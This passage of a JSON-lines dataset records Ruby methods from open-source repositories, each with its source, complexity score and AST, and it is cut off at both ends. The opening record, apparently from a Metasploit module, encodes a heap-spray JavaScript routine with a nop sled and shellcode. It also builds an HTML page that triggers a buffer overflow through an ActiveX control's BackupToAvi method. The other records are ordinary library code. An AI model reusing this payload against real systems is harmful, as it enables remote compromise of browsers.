children\":[{\"type\":\"str\",\"children\":[\"    var heap_obj = new heapLib.ie(0x20000);\\n\"]},{\"type\":\"str\",\"children\":[\"    var code = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"    var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_nops\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"    var nops = unescape(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    while (nops.length < 0x80000) nops += nops;\\n\"]},{\"type\":\"str\",\"children\":[\"    var offset = nops.substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    while (shellcode.length < 0x40000) shellcode += shellcode;\\n\"]},{\"type\":\"str\",\"children\":[\"    var block = shellcode.substring(0, (0x80000-6)/2);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    heap_obj.gc();\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    for (var i=1; i < 0x200; i++) {\\n\"]},{\"type\":\"str\",\"children\":[\"      heap_obj.alloc(block);\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"heaplib\",{\"type\":\"lvar\",\"children\":[\"js\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noobfu\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Exploitation\"]},\"JSObfu\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]},\"obfuscate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_sensitive\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"bof\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\f\"]},\"*\",{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    <html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <script>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <body>\\n\"]},{\"type\":\"str\",\"children\":[\"    <object id=\\\"target1\\\" classid=\\\"CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A\\\"></object>\\n\"]},{\"type\":\"str\",\"children\":[\"    <script>\\n\"]},{\"type\":\"str\",\"children\":[\"      target1.BackupToAvi(0, 0, 0, unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]}]},{\"type\":\"str\",\"children\":[\"\\\"));\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    <body>\\n\"]},{\"type\":\"str\",\"children\":[\"    </html>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ {4}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending html\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}","id":"7650138a-d76a-473b-b959-c714437aa1d1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":1233,"raw_source":"def before_save_1\n      @history << __method__.to_s\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"before_save_1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]},\"to_s\"]}]}]}","id":"ae2f249f-6148-4312-98c2-51876ea7878d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250304132919_add_version_parts_to_packages_terraform_module_metadata.rb","start_line":18,"raw_source":"def down\n    with_lock_retries do\n      remove_column :packages_terraform_module_metadata, :semver_major, :integer\n      remove_column :packages_terraform_module_metadata, :semver_minor, :integer\n      remove_column :packages_terraform_module_metadata, :semver_patch, :integer\n      remove_column :packages_terraform_module_metadata, :semver_prerelease, :text\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"packages_terraform_module_metadata\"]},{\"type\":\"sym\",\"children\":[\"semver_major\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"packages_terraform_module_metadata\"]},{\"type\":\"sym\",\"children\":[\"semver_minor\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"packages_terraform_module_metadata\"]},{\"type\":\"sym\",\"children\":[\"semver_patch\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"packages_terraform_module_metadata\"]},{\"type\":\"sym\",\"children\":[\"semver_prerelease\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}]}","id":"8cea8285-0550-4b30-a661-927152f7ceca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/branches_by_mode_service.rb","start_line":43,"raw_source":"def fetch_branches_via_offset_pagination\n    branches = BranchesFinder.new(project.repository, params).execute\n    branches = Kaminari.paginate_array(by_mode(branches)).page(params[:page])\n\n    branches_with_links(branches, last_page: branches.last_page?)\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_branches_via_offset_pagination\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BranchesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"execute\"]}]},{\"type\":\"lvasgn\",\"children\":[\"branches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kaminari\"]},\"paginate_array\",{\"type\":\"send\",\"children\":[null,\"by_mode\",{\"type\":\"lvar\",\"children\":[\"branches\"]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"branches_with_links\",{\"type\":\"lvar\",\"children\":[\"branches\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"last_page?\"]}]}]}]}]}]}","id":"3b9832a1-3426-4815-bb43-d6060dc77bb0"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":9,"raw_source":"def test_simple_variable\n    assert_template_result('worked', \"{{test}}\", { 'test' => 'worked' })\n    assert_template_result('worked wonderfully', \"{{test}}\", { 'test' => 'worked wonderfully' })\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_variable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"worked\"]},{\"type\":\"str\",\"children\":[\"{{test}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"worked\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"worked wonderfully\"]},{\"type\":\"str\",\"children\":[\"{{test}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"worked wonderfully\"]}]}]}]}]}]}","id":"8410245d-50ed-44cf-9f40-33a579a44984"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/menus/boards/menu.rb","start_line":68,"raw_source":"def query_path(query_params)\n      project_work_package_board_path(project, query_params)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"send\",\"children\":[null,\"project_work_package_board_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}","id":"1326aa7e-134f-4e53-8516-5c3c156e8cca"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/ternary_parentheses.rb","start_line":69,"raw_source":"def on_if(node)\n          condition = node.condition\n\n          return if only_closing_parenthesis_is_last_line?(condition)\n          return if condition_as_parenthesized_one_line_pattern_matching?(condition)\n          return unless node.ternary? && offense?(node)\n\n          message = message(node)\n\n          add_offense(node, message: message) do |corrector|\n            autocorrect(corrector, node)\n          end\n        end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"condition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"condition\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"only_closing_parenthesis_is_last_line?\",{\"type\":\"lvar\",\"children\":[\"condition\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"condition_as_parenthesized_one_line_pattern_matching?\",{\"type\":\"lvar\",\"children\":[\"condition\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[null,\"offense?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"d696fd92-b0ab-4337-9da8-7460b117a213"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validator.rb","start_line":184,"raw_source":"def allow_blank?(record)\n        if options[:allow_blank].respond_to?(:to_proc)\n          !!options[:allow_blank].to_proc.call(record)\n        else\n          !!options[:allow_blank]\n        end\n      end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_blank?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_blank\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_proc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_blank\"]}]},\"to_proc\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"!\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_blank\"]}]},\"!\"]},\"!\"]}]}]}","id":"f41877e6-4d57-4693-8d25-31e091bb5546"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/concerns/has_partial.rb","start_line":16,"raw_source":"def menu_with_partial?\n        menu_partial.present?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"menu_with_partial?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"menu_partial\"]},\"present?\"]}]}","id":"9b62f37d-e027-42c1-bf36-3ac9232c06c2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_tracking_state.rb","start_line":271,"raw_source":"def self.treat_as_new_topic_params\n    {\n      now: DateTime.now,\n      last_visit: User::NewTopicDuration::LAST_VISIT,\n      always: User::NewTopicDuration::ALWAYS,\n      default_duration: SiteSetting.default_other_new_topic_duration_minutes,\n      min_date: Time.at(SiteSetting.min_new_topics_time).to_datetime,\n    }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"treat_as_new_topic_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_visit\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"NewTopicDuration\"]},\"LAST_VISIT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"always\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"NewTopicDuration\"]},\"ALWAYS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_other_new_topic_duration_minutes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"min_new_topics_time\"]}]},\"to_datetime\"]}]}]}]}","id":"66b9bb44-bc4c-476e-94c9-810a49d61d6a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/artifactory.rb","start_line":44,"raw_source":"def self.connect_to_artifactory(params)\n        config_keys = [:endpoint, :username, :password, :api_key, :ssl_pem_file, :ssl_verify, :proxy_username, :proxy_password, :proxy_address, :proxy_port, :read_timeout]\n        config = params.values.select do |key|\n          config_keys.include?(key)\n        end\n        Artifactory::Client.new(config)\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connect_to_artifactory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"sym\",\"children\":[\"api_key\"]},{\"type\":\"sym\",\"children\":[\"ssl_pem_file\"]},{\"type\":\"sym\",\"children\":[\"ssl_verify\"]},{\"type\":\"sym\",\"children\":[\"proxy_username\"]},{\"type\":\"sym\",\"children\":[\"proxy_password\"]},{\"type\":\"sym\",\"children\":[\"proxy_address\"]},{\"type\":\"sym\",\"children\":[\"proxy_port\"]},{\"type\":\"sym\",\"children\":[\"read_timeout\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"values\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Artifactory\"]},\"Client\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}","id":"f70c786d-594f-443c-bf0c-a704c5771538"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/invalid_token_response.rb","start_line":20,"raw_source":"def initialize(attributes = {})\n        super(attributes.merge(name: :invalid_token, state: :unauthorized))\n        @reason = attributes[:reason] || :unknown\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"invalid_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@reason\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reason\"]}]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}]}","id":"4222c62d-7635-431b-9694-e870f6d72386"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_gitlab_calls.rb","start_line":4,"raw_source":"def stub_gitlab_calls\n    stub_user\n    stub_project_8\n    stub_project_8_hooks\n    stub_projects\n    stub_projects_owned\n    stub_ci_enable\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_gitlab_calls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_user\"]},{\"type\":\"send\",\"children\":[null,\"stub_project_8\"]},{\"type\":\"send\",\"children\":[null,\"stub_project_8_hooks\"]},{\"type\":\"send\",\"children\":[null,\"stub_projects\"]},{\"type\":\"send\",\"children\":[null,\"stub_projects_owned\"]},{\"type\":\"send\",\"children\":[null,\"stub_ci_enable\"]}]}]}","id":"07387e8b-6688-4ddd-8bbf-d1aa34c148f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250203160045_attach_custom_lfk_trigger_to_ci_builds_partitions.rb","start_line":31,"raw_source":"def down\n    # Partitions\n    Gitlab::Database::PostgresPartitionedTable.each_partition(PARTITIONED_TABLE) do |partition|\n      with_lock_retries do\n        untrack_record_deletions(partition.identifier)\n\n        if partition.schema == current_schema # the triggers were only on the default schema partitions\n          track_record_deletions(partition.name) # re-attach the old trigger\n        end\n      end\n    end\n\n    # Partitioned tables\n    with_lock_retries do\n      untrack_record_deletions(PARTITIONED_TABLE)\n      track_record_deletions(PARTITIONED_TABLE) # re-attach the old trigger\n    end\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"each_partition\",{\"type\":\"const\",\"children\":[null,\"PARTITIONED_TABLE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrack_record_deletions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"identifier\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"schema\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"current_schema\"]}]},{\"type\":\"send\",\"children\":[null,\"track_record_deletions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"name\"]}]},null]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrack_record_deletions\",{\"type\":\"const\",\"children\":[null,\"PARTITIONED_TABLE\"]}]},{\"type\":\"send\",\"children\":[null,\"track_record_deletions\",{\"type\":\"const\",\"children\":[null,\"PARTITIONED_TABLE\"]}]}]}]}]}]}","id":"d84c0411-41be-4927-bdf7-3926e57b9771"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":13,"raw_source":"def initialize(args, db, &block)\n      @result = Rex::Parser::ParsedResult.new\n      super\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"db\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"ParsedResult\"]},\"new\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"54eb80de-8558-49e9-b2cd-707faf1b6cb7"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/test_case.rb","start_line":291,"raw_source":"def rendered_views\n        @_rendered_views ||= RenderedViewsCollection.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rendered_views\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_rendered_views\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RenderedViewsCollection\"]},\"new\"]}]}]}","id":"d583dde7-2ab5-4243-8c11-e0ae01f5da1e"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20250602095746_create_components.rb","start_line":4,"raw_source":"def change\n    create_table :components, id: false do |t|\n      t.string :id, primary_key: true\n      t.integer :workspace_id, null: false\n      t.uuid :workflow_id, null: false\n      t.string :name, null: false\n      t.integer :component_type, null: false\n      t.jsonb :configuration, null: false\n      t.jsonb :position, default: {}\n\n      t.timestamps\n    end\n\n    add_foreign_key :components, :workflows, validate: false\n    add_foreign_key :components, :workspaces, validate: false\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"components\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"uuid\",{\"type\":\"sym\",\"children\":[\"workflow_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"component_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\